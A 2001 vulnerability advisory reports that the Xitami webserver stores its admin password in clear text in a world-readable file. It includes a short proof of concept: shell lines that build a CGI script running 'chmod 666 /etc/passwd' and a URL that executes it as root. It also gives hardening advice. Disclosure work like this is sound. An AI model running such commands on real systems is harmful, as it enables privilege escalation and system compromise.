I am releasing this a bit early as the vendor has been aware of this issue
for a while now.
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Vapid Labs
Larry W. Cashdollar
Xitami Webserver clear text password storage vulnerability.
Date Published: 11/23/2001
Advisory ID: 11232001-02
Title: Xitami Admin Password vulnerability from imatrix.com.
Class: Design error
Remotely Exploitable: no
Locally Exploitable: yes
Vulnerability Description:
The webserver administrator password is stored clear-text in a world
readable file. A local user can use the webserver admin password to gain
control of (by default) root owned xitami process. The server can then be
reconfigured by the malicious user (locally unless configured to allow
remote administration) to read sensitive system files and execute commands
as root.
Vulnerable Packages/Systems: Xitami Webserver 2.4d9, 2.5b5 beta
I tested using the source packages suni24d9.tgz, suni25b5.tgz obtained
from xitami.com on a RedHat 6.2 i386 system.
Solution/Vendor Information/Workaround:
The vendor has been aware of this problem for a while, the time stamp
on my source file was June 2001.
http://www.imatix.com/html/xitami/index13.htm#m_7
Previous vulnerabilities:
http://www.securityfocus.com/bid/3511
http://www.securityfocus.com/bid/2622
Vendor notified on: 11/23/2001
Credits: Larry W. Cashdollar Vapid Labs.
http://vapid.dhs.org
Technical Description - Exploit/Concept Code:
During installation the administrator is asked to enter an account and
username password used to access the web administrator function. By
default administration of the webserver is only allowed from localhost.
This information is stored in a file called default.aut
[lwcash@mathom xitami]$ ls -l defaults.aut
-rw-r--r-- 1 root root 107 Nov 23 10:56 defaults.aut
If the server is configured by default (just hitting enter when asked to
enable remote web administration) then a local user can use the admin
password stored in the above file to reconfigure the webserver and among
other things change the cgi-bin directory to /tmp/cgi-bin. By default the
server runs as root and does not drop privledges.
I did the following:
[lwcash@mathom ~ $] echo "#!/bin/sh" > /tmp/cgi-bin/test.cgi
[lwcash@mathom ~ $] echo "chmod 666 /etc/passwd" >> /tmp/cgi-bin/test.cgi
[lwcash@mathom ~ $] chmod 555 /tmp/cgi-bin/test.cgi
The following URL will execute our cgi as root:
http://localhost/tmp/cgi-bin/test.cgi
If the server has been configured to allow remote administration, then the
above url can be accessed remotely.
Recommendations:
Configuration files that store sensitive information should have very
restrictive file permissions. Passwords should never be stored in
clear-text, they should be stored at least as a one way hash.
I suspect by the wording used during installation, that many
administrators might enable remote web administration since it seems to
be almost suggested by the installation script. You might want to change
the wording around to discourage it.
I suspect changing the permissions of default.aut to read only for root
would help a little, but did not test it.
Configure xitami to run as nobody.
DISCLAIMER:
The contents of this advisory are copyright (c) 2001 Larry W. Cashdollar
and may be distributed freely provided that no fee is charged for this
distribution and proper credit is given.
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